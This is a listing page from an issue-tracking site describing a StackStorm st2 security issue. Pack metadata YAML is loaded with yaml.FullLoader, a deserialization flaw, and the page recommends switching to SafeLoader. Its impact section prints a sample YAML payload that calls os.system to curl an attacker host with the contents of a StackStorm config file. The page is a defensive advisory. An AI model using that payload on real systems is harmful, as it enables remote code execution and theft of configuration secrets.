yaml.FullLoader used instead of SafeLoader in pack metadata parsing (CWE-502)
Nobody has claimed this yet.
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 86/100
Research direction
Start in st2common/st2common/services/packs.py at clone_action_files and inspect the metadata parsing around line 388. Change the loader used for the pack metadata YAML to the safe alternative described in the issue, then verify that pack cloning or installation still parses ordinary metadata without instantiating Python objects.
Written by the indexing model from the issue text.
Description
Summary
Pack metadata YAML files are parsed using yaml.FullLoader, which can instantiate arbitrary Python objects. If a malicious or compromised pack contains a crafted YAML metadata file, this could lead to arbitrary code execution during pack cloning or installation.
Affected File
st2common/st2common/services/packs.py (line 388)
with open(dest_metadata_file_path) as df:
doc = yaml.load(df, Loader=yaml.FullLoader)
This is called in the clone_action_files function, which executes during pack management operations.
Impact
yaml.FullLoader resolves Python-specific YAML tags such as !!python/object, !!python/object/apply, and !!python/module. A malicious pack metadata file could contain:
name: !!python/object/apply:os.system ["curl attacker.com/exfil?data=$(cat /etc/st2/st2.conf)"]
This would execute arbitrary commands when the YAML file is parsed during pack installation or cloning. Since pack installation often runs with elevated privileges (the StackStorm system user), this could compromise the entire StackStorm deployment.
Attack vector: A user with permission to install packs from external sources (git repositories, StackStorm Exchange) could install a pack containing a malicious metadata file. The code execution occurs during the YAML parsing step, before any other validation.
Recommended Fix
Replace yaml.FullLoader with yaml.SafeLoader:
with open(dest_metadata_file_path) as df:
doc = yaml.load(df, Loader=yaml.SafeLoader)
Or use the convenience function:
with open(dest_metadata_file_path) as df:
doc = yaml.safe_load(df)
yaml.SafeLoader only supports basic YAML types (strings, numbers, lists, dicts, booleans, null) and will not instantiate Python objects.
References
- CWE-502: Deserialization of Untrusted Data
- PyYAML Documentation: Loading YAML
- Discovered via manual code review
- Dominant language
- Python
- Stars
- 6.5k
- Forks
- 787
- PR merge metrics
- No merged PRs in 30d
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from StackStorm/st2
-
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
StackStorm/st2#6392 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
StackStorm/st2#6389 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
StackStorm/st2#6387 ·
-
Difficulty 4/5 3-5 days Newbie friendliness 55/100
StackStorm/st2#6391 ·
-
CORS middleware reflects Origin with Allow-Credentials, enabling cross-origin attacks (CWE-346)Open
Difficulty 3/5 1-2 days Newbie friendliness 68/100
StackStorm/st2#6390 ·
Similar issues
-
good first issue hacktoberfest
Difficulty 1/5 Under an hour Newbie friendliness 92/100
RogueAlg0/taken#387 · 4 comments ·
Maintainers usually reply within 1 day
-
tool-calling
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
vllm-project/vllm#59838 ·
Maintainers usually reply within 1 day
-
Difficulty 1/5 Under an hour Newbie friendliness 92/100
raullenchai/Rapid-MLX#4042 ·
Maintainers usually reply within 1 day
-
documentation
Difficulty 1/5 Under an hour Newbie friendliness 92/100
transitmatters/mbta-slow-zone-bot#70 ·
Maintainers usually reply within 1 day
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 66/100
open-webui/open-webui#31871 · 1 comment ·
Maintainers usually reply within 1 day